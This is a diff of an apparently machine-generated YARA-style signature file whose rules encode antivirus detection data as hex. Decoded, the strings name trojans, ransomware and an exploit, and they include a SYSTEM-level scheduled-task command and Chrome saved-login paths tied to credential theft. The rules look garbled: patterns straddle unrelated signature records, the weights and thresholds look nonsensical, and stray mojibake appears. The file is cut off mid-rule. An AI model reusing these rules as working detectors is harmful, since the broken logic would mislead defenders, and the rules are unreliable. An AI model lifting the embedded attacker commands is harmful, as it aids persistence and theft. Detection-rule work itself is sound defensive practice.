-170985,7 +182396,7 @@ rule _InfrastructureShared_14852{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-14588+(#a_44_3 & 1)*0) >=3 } -rule _InfrastructureShared_14853{ +rule _InfrastructureShared_15827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -170993,25 +182404,13 @@ rule _InfrastructureShared_14853{ $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 57 61 74 72 44 65 76 2e 42 21 64 68 61 00 01 00 32 80 01 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 73 63 20 6d 69 6e 75 74 65 20 2f 6d 6f 20 32 30 20 2f 74 6e 20 22 54 65 73 } //16675 $a_20_1 = {74 72 01 00 16 80 01 2f 72 75 20 53 59 53 54 45 4d 20 2f 52 4c 20 48 49 47 48 45 53 54 01 00 1e 80 01 } //12660 $a_20_2 = {68 65 20 65 78 70 6c 6f 69 74 20 77 61 73 20 73 75 63 63 65 73 73 66 75 6c 01 00 13 80 01 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 74 65 73 74 5c 01 00 24 01 44 3a 5c 55 73 65 72 73 5c 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 00 00 78 df } //11099 - $a_00_3 = {04 00 03 00 } //0 - $a_4c_4 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4e 49 54 21 4d 54 42 00 02 00 91 03 00 28 df 03 00 0a 00 28 90 01 01 03 00 06 80 4f 00 00 0a 28 90 01 01 05 00 06 6f 00 06 00 06 } //8993 + $a_00_3 = {04 00 04 00 } //0 + $a_4c_4 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 53 68 61 74 74 65 72 4f 66 66 69 63 65 2e 41 21 64 68 61 00 01 00 0c 01 47 6f 20 62 75 69 6c 64 69 6e 66 3a 01 00 17 01 4f } //8993 condition: ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*12660+(#a_20_2 & 1)*11099+(#a_00_3 & 1)*0+(#a_4c_4 & 1)*8993) >=3 } -rule _InfrastructureShared_14854{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 4e 49 54 21 4d 54 42 00 02 00 91 03 00 28 df 03 00 0a 00 28 90 01 01 03 00 06 80 4f 00 00 0a 28 90 01 01 05 00 06 6f 00 06 00 06 80 1a 03 00 0a 28 90 01 01 05 00 06 } //16675 - $a_00_1 = {06 72 77 03 00 70 } //623 爆ͷ瀀 - $a_01_2 = {00 } //-28632 - condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*623+(#a_01_2 & 1)*-28632) >=4 - -} -rule _InfrastructureShared_14855{ +rule _InfrastructureShared_15828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -171024,7 +182423,7 @@ rule _InfrastructureShared_14855{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29810+(#a_65_2 & 1)*28496+(#a_90_3 & 1)*11114) >=4 } -rule _InfrastructureShared_14856{ +rule _InfrastructureShared_15829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -171037,7 +182436,7 @@ rule _InfrastructureShared_14856{ ((#a_6c_0 & 1)*16675+(#a_01_1 & 1)*-6047+(#a_31_2 & 1)*20560+(#a_66_3 & 1)*14386) >=4 } -rule _InfrastructureShared_14857{ +rule _InfrastructureShared_15830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -171050,7 +182449,7 @@ rule _InfrastructureShared_14857{ ((#a_54_0 & 1)*18467+(#a_fe_1 & 1)*-29176+(#a_53_2 & 1)*17220+(#a_00_3 & 1)*29554) >=4 } -rule _InfrastructureShared_14858{ +rule _InfrastructureShared_15831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -171063,7 +182462,7 @@ rule _InfrastructureShared_14858{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*3072+(#a_61_2 & 1)*29555+(#a_34_3 & 1)*24881) >=4 } -rule _InfrastructureShared_14859{ +rule _InfrastructureShared_15832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -171075,7 +182474,7 @@ rule _InfrastructureShared_14859{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*144+(#a_44_2 & 1)*18435) >=4 } -rule _InfrastructureShared_14860{ +rule _InfrastructureShared_15833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -171088,7 +182487,7 @@ rule _InfrastructureShared_14860{ ((#a_77_0 & 1)*19491+(#a_63_1 & 1)*25659+(#a_6a_2 & 1)*29268+(#a_f9_4 & 1)*-25511) >=4 } -rule _InfrastructureShared_14861{ +rule _InfrastructureShared_15834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -171100,7 +182499,7 @@ rule _InfrastructureShared_14861{ ((#a_4c_0 & 1)*21539+(#a_f5_1 & 1)*14336+(#a_00_2 & 1)*110) >=5 } -rule _InfrastructureShared_14862{ +rule _InfrastructureShared_15835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -171112,7 +182511,7 @@ rule _InfrastructureShared_14862{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*50+(#a_00_3 & 1)*102) >=5 } -rule _InfrastructureShared_14863{ +rule _InfrastructureShared_15836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -171125,7 +182524,7 @@ rule _InfrastructureShared_14863{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28704+(#a_6f_2 & 1)*26991+(#a_61_3 & 1)*11874) >=5 } -rule _InfrastructureShared_14864{ +rule _InfrastructureShared_15837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -171138,7 +182537,7 @@ rule _InfrastructureShared_14864{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29800+(#a_71_2 & 1)*31351+(#a_00_4 & 1)*77) >=5 } -rule _InfrastructureShared_14865{ +rule _InfrastructureShared_15838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -171152,7 +182551,7 @@ rule _InfrastructureShared_14865{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_3 & 1)*116+(#a_31_4 & 1)*20560+(#a_4f_5 & 1)*24942) >=5 } -rule _InfrastructureShared_14866{ +rule _InfrastructureShared_15839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -171168,7 +182567,7 @@ rule _InfrastructureShared_14866{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*384+(#a_2e_2 & 1)*29550+(#a_52_3 & 1)*29541+(#a_6c_4 & 1)*24936+(#a_6c_5 & 1)*24948+(#a_00_6 & 1)*117) >=5 } -rule _InfrastructureShared_14867{ +rule _InfrastructureShared_15840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -171183,7 +182582,7 @@ rule _InfrastructureShared_14867{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*26996+(#a_73_2 & 1)*26990+(#a_00_4 & 1)*115+(#a_00_5 & 1)*97+(#a_59_6 & 1)*-32485) >=5 } -rule _InfrastructureShared_14868{ +rule _InfrastructureShared_15841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -171196,7 +182595,7 @@ rule _InfrastructureShared_14868{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*109+(#a_00_3 & 1)*120+(#a_69_4 & 1)*28522) >=6 } -rule _InfrastructureShared_14869{ +rule _InfrastructureShared_15842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -171211,7 +182610,7 @@ rule _InfrastructureShared_14869{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*31065+(#a_62_2 & 1)*22873+(#a_37_3 & 1)*25912+(#a_6e_4 & 1)*26996+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_14870{ +rule _InfrastructureShared_15843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -171226,7 +182625,7 @@ rule _InfrastructureShared_14870{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*20225+(#a_72_2 & 1)*21360+(#a_65_3 & 1)*29810+(#a_00_4 & 1)*29813+(#a_61_5 & 1)*26723) >=6 } -rule _InfrastructureShared_14871{ +rule _InfrastructureShared_15844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -171241,7 +182640,7 @@ rule _InfrastructureShared_14871{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*21249+(#a_74_2 & 1)*25964+(#a_6c_3 & 1)*25958+(#a_65_4 & 1)*25701+(#a_6e_5 & 1)*25963) >=6 } -rule _InfrastructureShared_14872{ +rule _InfrastructureShared_15845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -171255,7 +182654,7 @@ rule _InfrastructureShared_14872{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*25460+(#a_20_2 & 1)*25966+(#a_69_3 & 1)*29281+(#a_6e_4 & 1)*28245) >=6 } -rule _InfrastructureShared_14873{ +rule _InfrastructureShared_15846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -171270,7 +182669,7 @@ rule _InfrastructureShared_14873{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3840+(#a_00_3 & 1)*0+(#a_54_4 & 1)*19525+(#a_02_6 & 1)*-28672+(#a_00_7 & 1)*144) >=6 } -rule _InfrastructureShared_14874{ +rule _InfrastructureShared_15847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -171283,7 +182682,7 @@ rule _InfrastructureShared_14874{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*144+(#a_00_3 & 1)*45+(#a_00_5 & 1)*100) >=7 } -rule _InfrastructureShared_14875{ +rule _InfrastructureShared_15848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -171299,7 +182698,7 @@ rule _InfrastructureShared_14875{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*8565+(#a_6f_2 & 1)*384+(#a_20_3 & 1)*29555+(#a_00_4 & 1)*0+(#a_3a_5 & 1)*21587+(#a_20_6 & 1)*29793) >=7 } -rule _InfrastructureShared_14876{ +rule _InfrastructureShared_15849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -171314,7 +182713,7 @@ rule _InfrastructureShared_14876{ ((#a_54_0 & 1)*18467+(#a_2c_1 & 1)*24941+(#a_2e_2 & 1)*29801+(#a_32_3 & 1)*12337+(#a_00_5 & 1)*105+(#a_78_6 & 1)*29797) >=7 } -rule _InfrastructureShared_14877{ +rule _InfrastructureShared_15850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -171327,7 +182726,7 @@ rule _InfrastructureShared_14877{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*105+(#a_78_3 & 1)*29797+(#a_00_6 & 1)*7) >=7 } -rule _InfrastructureShared_14878{ +rule _InfrastructureShared_15851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -171343,7 +182742,7 @@ rule _InfrastructureShared_14878{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_df_6 & 1)*0) >=7 } -rule _InfrastructureShared_14879{ +rule _InfrastructureShared_15852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -171359,7 +182758,7 @@ rule _InfrastructureShared_14879{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28787+(#a_73_2 & 1)*25956+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_03_6 & 1)*1) >=7 } -rule _InfrastructureShared_14880{ +rule _InfrastructureShared_15853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -171376,7 +182775,7 @@ rule _InfrastructureShared_14880{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*18766+(#a_63_2 & 1)*28001+(#a_00_3 & 1)*0+(#a_00_4 & 1)*30575+(#a_72_5 & 1)*385+(#a_76_6 & 1)*25939+(#a_41_7 & 1)*-32502) >=8 } -rule _InfrastructureShared_14881{ +rule _InfrastructureShared_15854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -171385,33 +182784,49 @@ rule _InfrastructureShared_14881{ $a_61_1 = {54 69 6d 65 6f 75 74 01 00 13 81 01 53 65 61 72 63 68 52 65 73 75 6c 74 73 57 69 6e 64 6f 77 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 } //385 $a_42_2 = {6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 1b 81 01 53 48 41 32 35 36 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 00 00 78 df 00 00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 61 72 65 69 74 2e 45 49 21 4d 54 42 00 01 00 25 81 01 24 34 38 35 30 63 37 63 37 2d } //24942 $a_61_3 = {34 37 65 34 2d 38 37 61 31 2d 31 37 62 32 32 62 36 36 37 64 39 34 01 00 0b 81 01 67 65 74 5f 4b 65 79 53 69 7a 65 01 00 0a 81 01 41 65 73 4d 61 6e 61 67 65 64 01 00 12 81 } //24930 - $a_6d_4 = {65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 01 00 09 81 01 53 74 6f 70 77 61 74 63 68 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 10 81 01 43 72 79 70 74 6f 53 74 72 65 61 6d 4d 6f 64 65 01 00 0c 81 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 0a 81 01 43 69 70 68 65 72 4d 6f 64 65 00 00 78 df 00 00 0a 00 0a 00 05 00 21 23 48 53 54 52 3a 54 } //21249 - $a_61_5 = {3a 57 69 6e 33 32 2f 4e 65 74 77 69 72 65 2e 4e 42 21 4d 54 42 00 02 00 11 81 01 65 6e 63 72 79 70 74 65 64 50 61 73 73 77 6f 72 64 02 00 11 81 01 65 6e 63 72 79 70 74 65 64 55 73 65 72 6e 61 6d 65 02 00 2d 81 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 } //28530 - $a_69_6 = {6e 5c 52 75 6e 02 00 2a 81 01 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 20 44 61 74 61 02 00 22 81 01 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4c 6f 67 73 00 00 78 df 00 00 0a 00 0a 00 06 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d } //29285 - $a_6e_7 = {32 2f 46 69 6c 65 43 6f 64 65 72 2e 52 48 41 42 21 4d 54 42 00 02 00 17 03 50 45 00 00 4c 01 05 90 01 11 0b 01 09 00 00 ea 09 00 00 96 02 90 00 02 00 16 01 33 c0 e9 9a 13 00 00 19 80 85 b1 10 a9 84 a6 f1 59 d8 94 7c 87 5b 02 00 11 01 46 69 6c 65 6e 61 6d 65 20 74 6f 6f 20 6c 6f 6e 67 02 00 2b 01 43 41 56 5f 35 35 } //22330 + $a_6d_4 = {65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 01 00 09 81 01 53 74 6f 70 77 61 74 63 68 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 10 81 01 43 72 79 70 74 6f 53 74 72 65 61 6d 4d 6f 64 65 01 00 0c 81 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 0a 81 01 43 69 70 68 65 72 4d 6f 64 65 00 00 78 df 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 } //21249 + $a_32_5 = {47 75 6c 6f 61 64 65 72 2e 4c 54 53 30 31 21 4d 54 42 00 01 00 0e 81 01 70 69 74 74 6f 73 70 6f 72 65 2e 65 6e 65 01 00 0e 81 01 72 65 6b 75 72 73 69 6f } //28265 + $a_6a_6 = {67 01 00 0c 81 01 72 6f 6f 6d 73 66 75 6c 2e 70 65 6c 01 00 0b 81 01 73 68 65 65 72 65 72 2e 70 72 65 01 00 11 81 01 75 6e 65 6e 74 65 72 } //29550 + $a_6e_7 = {64 2e 69 6e 69 01 00 0f 81 01 64 75 72 6b 64 72 65 76 6e 65 73 2e 74 78 74 01 00 16 81 01 5c 53 64 6c 63 5c 4e 6f 6e 6e 61 74 69 6f 6e 61 6c 69 73 74 69 63 01 00 11 81 01 4e 65 77 6c 61 6e 64 69 74 65 31 37 37 2e 74 78 74 01 00 10 81 01 62 6f 64 73 76 65 6c 73 65 72 6e 65 2e 6e 6f 72 00 00 78 df 00 00 0a 00 0a 00 } //24948 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*385+(#a_42_2 & 1)*24942+(#a_61_3 & 1)*24930+(#a_6d_4 & 1)*21249+(#a_61_5 & 1)*28530+(#a_69_6 & 1)*29285+(#a_6e_7 & 1)*22330) >=8 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*385+(#a_42_2 & 1)*24942+(#a_61_3 & 1)*24930+(#a_6d_4 & 1)*21249+(#a_32_5 & 1)*28265+(#a_6a_6 & 1)*29550+(#a_6e_7 & 1)*24948) >=8 } -rule _InfrastructureShared_14882{ +rule _InfrastructureShared_15855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 61 72 65 69 74 2e 45 49 21 4d 54 42 00 01 00 25 81 01 24 34 38 35 30 63 37 63 37 2d 62 61 39 61 2d 34 37 65 34 2d 38 37 61 31 2d 31 37 62 32 32 62 36 36 37 64 39 34 01 00 0b 81 01 67 65 74 } //16675 $a_79_1 = {69 7a 65 01 00 0a 81 01 41 65 73 4d 61 6e 61 67 65 64 01 00 12 81 01 53 79 6d 6d 65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 01 00 09 81 01 53 74 6f 70 77 61 74 63 68 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 10 81 01 43 72 79 70 74 6f 53 74 72 65 61 6d 4d 6f 64 65 01 00 0c 81 01 } //19295 - $a_6f_2 = {79 53 74 72 65 61 6d 01 00 0a 81 01 43 69 70 68 65 72 4d 6f 64 65 00 00 78 df 00 00 0a 00 0a 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 74 77 69 72 65 2e 4e 42 21 4d 54 42 00 02 00 11 81 01 65 6e 63 72 79 70 74 65 64 50 61 73 73 77 6f 72 64 02 00 11 81 01 65 6e 63 72 79 70 74 65 64 55 73 65 72 } //25933 - $a_65_3 = {00 2d 81 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 02 00 2a 81 01 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 20 44 61 74 61 02 00 22 81 01 41 64 6d 69 6e 69 73 74 } //24942 - $a_6f_4 = {5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4c 6f 67 73 00 00 78 df 00 00 0a 00 0a 00 06 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 46 69 6c 65 43 6f 64 65 72 2e 52 48 41 42 21 4d 54 42 00 02 00 17 03 50 45 00 00 4c 01 05 90 01 11 0b 01 09 00 00 ea 09 00 00 96 02 90 00 02 00 16 01 33 c0 e9 9a 13 00 00 19 80 85 b1 10 a9 84 } //24946 - $a_d8_5 = {7c 87 5b 02 00 11 01 46 69 6c 65 6e 61 6d 65 20 74 6f 6f 20 6c 6f 6e 67 02 00 2b 01 43 41 56 5f 35 35 5f 4d 45 54 45 5c 72 65 6c 65 61 73 65 5c 78 33 32 5c 73 79 6d 62 6f 6c 73 5c 73 69 67 6e 6d 67 72 2e 70 64 62 01 00 1d 01 54 6f 6f 20 6d 61 6e 79 20 6f 70 65 6e 20 } //-3674 - $a_65_6 = {20 69 6e 20 73 79 73 74 65 6d 01 00 13 01 44 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 65 6d 70 74 79 00 00 78 df 00 00 0d 00 0d 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 45 57 53 21 4d 54 42 00 0a 00 38 02 0b 06 16 17 73 90 01 03 0a 0c 06 6f 90 01 03 0a d4 90 01 05 0d 08 } //26982 - $a_8e_7 = {6f 90 01 03 0a 13 04 11 04 } //5641 - $a_07_8 = {09 16 11 04 6f } //400 + $a_6f_2 = {79 53 74 72 65 61 6d 01 00 0a 81 01 43 69 70 68 65 72 4d 6f 64 65 00 00 78 df 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 53 30 31 21 4d 54 42 00 01 00 0e 81 01 70 69 74 74 6f 73 70 6f 72 65 2e 65 6e 65 01 00 0e 81 01 72 65 6b 75 72 73 69 6f 6e 73 2e 6a 70 67 01 00 0c 81 01 } //25933 + $a_6d_3 = {66 75 6c 2e 70 65 6c 01 00 0b 81 01 73 68 65 65 72 65 72 2e 70 72 65 01 00 11 81 01 75 6e 65 6e 74 65 72 74 61 69 6e 65 64 2e 69 6e 69 01 00 0f 81 01 64 75 72 6b 64 72 65 76 6e 65 73 2e 74 78 74 01 00 16 81 01 5c 53 64 6c 63 5c 4e 6f 6e 6e 61 74 69 6f 6e 61 6c 69 73 74 69 63 01 00 11 81 01 4e 65 77 6c 61 6e 64 69 74 65 31 37 37 2e } //28530 + $a_01_4 = {00 10 81 01 62 6f 64 73 76 65 6c 73 65 72 6e 65 2e 6e 6f 72 00 00 78 df 00 00 0a 00 0a 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 74 77 69 72 65 2e 4e 42 21 4d 54 42 00 02 00 11 81 01 65 6e 63 72 79 70 74 65 64 50 61 73 73 77 6f 72 64 02 00 11 81 01 65 6e 63 72 79 70 74 65 64 55 73 65 72 6e 61 6d 65 02 00 2d 81 01 } //30836 + $a_54_5 = {41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 02 00 2a 81 01 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 5c 44 } //20307 + $a_75_6 = {74 5c 4c 6f 67 69 6e 20 44 61 74 61 02 00 22 81 01 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4c 6f 67 73 00 00 78 df 00 00 0a 00 0a 00 06 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 46 69 6c 65 43 6f 64 65 72 2e 52 48 41 42 21 } //26213 + $a_00_7 = {02 00 17 03 50 45 00 00 4c 01 05 90 01 11 0b 01 09 00 00 ea 09 00 00 96 02 90 00 02 00 16 01 33 c0 e9 9a 13 00 00 19 80 85 b1 10 a9 84 a6 f1 59 d8 94 7c 87 5b 02 00 11 01 46 69 6c 65 6e 61 6d 65 20 } //21581 + $a_20_8 = {6f 6e 67 02 00 2b 01 43 41 56 5f 35 35 5f 4d 45 54 45 5c 72 65 6c 65 61 73 65 5c 78 33 32 5c 73 79 6d 62 6f 6c 73 5c 73 69 67 6e 6d 67 72 2e 70 64 62 01 00 1d 01 54 6f 6f 20 6d 61 6e 79 20 6f 70 65 6e 20 66 69 6c 65 73 20 69 6e 20 73 79 73 74 65 6d 01 00 13 01 44 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 65 6d 70 74 79 00 00 78 df 00 } //28532 condition: - ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*19295+(#a_6f_2 & 1)*25933+(#a_65_3 & 1)*24942+(#a_6f_4 & 1)*24946+(#a_d8_5 & 1)*-3674+(#a_65_6 & 1)*26982+(#a_8e_7 & 1)*5641+(#a_07_8 & 1)*400) >=9 + ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*19295+(#a_6f_2 & 1)*25933+(#a_6d_3 & 1)*28530+(#a_01_4 & 1)*30836+(#a_54_5 & 1)*20307+(#a_75_6 & 1)*26213+(#a_00_7 & 1)*21581+(#a_20_8 & 1)*28532) >=9 } -rule _InfrastructureShared_14883{ +rule _InfrastructureShared_15856{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 54 53 30 31 21 4d 54 42 00 01 00 0e 81 01 70 69 74 74 6f 73 70 6f 72 65 2e 65 6e 65 01 00 0e 81 01 72 65 6b 75 72 73 69 6f 6e 73 2e 6a 70 67 01 00 0c 81 01 72 6f 6f 6d 73 66 75 6c 2e 70 65 6c 01 00 } //18467 + $a_73_1 = {65 } //-32501 e + $a_72_2 = {70 72 65 01 00 11 81 01 75 6e 65 6e 74 65 72 74 61 69 6e 65 64 2e 69 6e 69 01 00 0f 81 01 64 75 72 6b 64 72 65 76 6e 65 73 2e 74 78 74 01 00 16 81 01 5c 53 64 6c 63 5c 4e 6f 6e 6e 61 74 69 6f 6e 61 6c 69 73 74 69 63 01 00 11 81 01 4e 65 77 6c 61 6e 64 69 74 65 31 37 37 2e 74 78 74 01 00 10 81 01 62 6f } //29285 + $a_65_3 = {73 65 72 6e 65 2e 6e 6f 72 00 00 78 df 00 00 0a 00 0a 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 74 77 69 72 65 2e 4e 42 21 4d 54 42 00 02 00 11 81 01 65 6e 63 72 79 70 74 65 64 50 61 73 73 77 6f 72 64 02 00 11 81 01 65 6e 63 72 79 70 74 65 64 55 73 65 72 6e 61 6d 65 02 00 2d 81 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 } //29540 + $a_66_4 = {5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 02 00 2a 81 01 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 5c 44 65 66 61 75 6c 74 5c 4c 6f 67 69 6e 20 44 61 74 61 02 00 22 81 01 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4c 6f } //29551 + $a_00_7 = {06 00 21 23 54 45 4c 3a 52 61 } //10 + $a_6d_8 = {57 69 6e 33 32 2f 46 69 6c 65 43 6f 64 65 72 2e 52 48 41 42 21 4d 54 42 00 02 00 17 03 50 45 00 00 4c 01 05 90 01 11 0b 01 09 00 00 ea 09 00 00 96 02 90 00 02 00 16 01 33 c0 e9 9a 13 00 00 19 80 85 b1 10 a9 84 a6 f1 59 d8 94 7c 87 5b 02 00 11 01 46 69 6c 65 6e 61 6d 65 20 74 6f 6f 20 6c 6f 6e 67 02 00 2b 01 43 41 56 5f 35 35 5f 4d } //29550 + condition: + ((#a_54_0 & 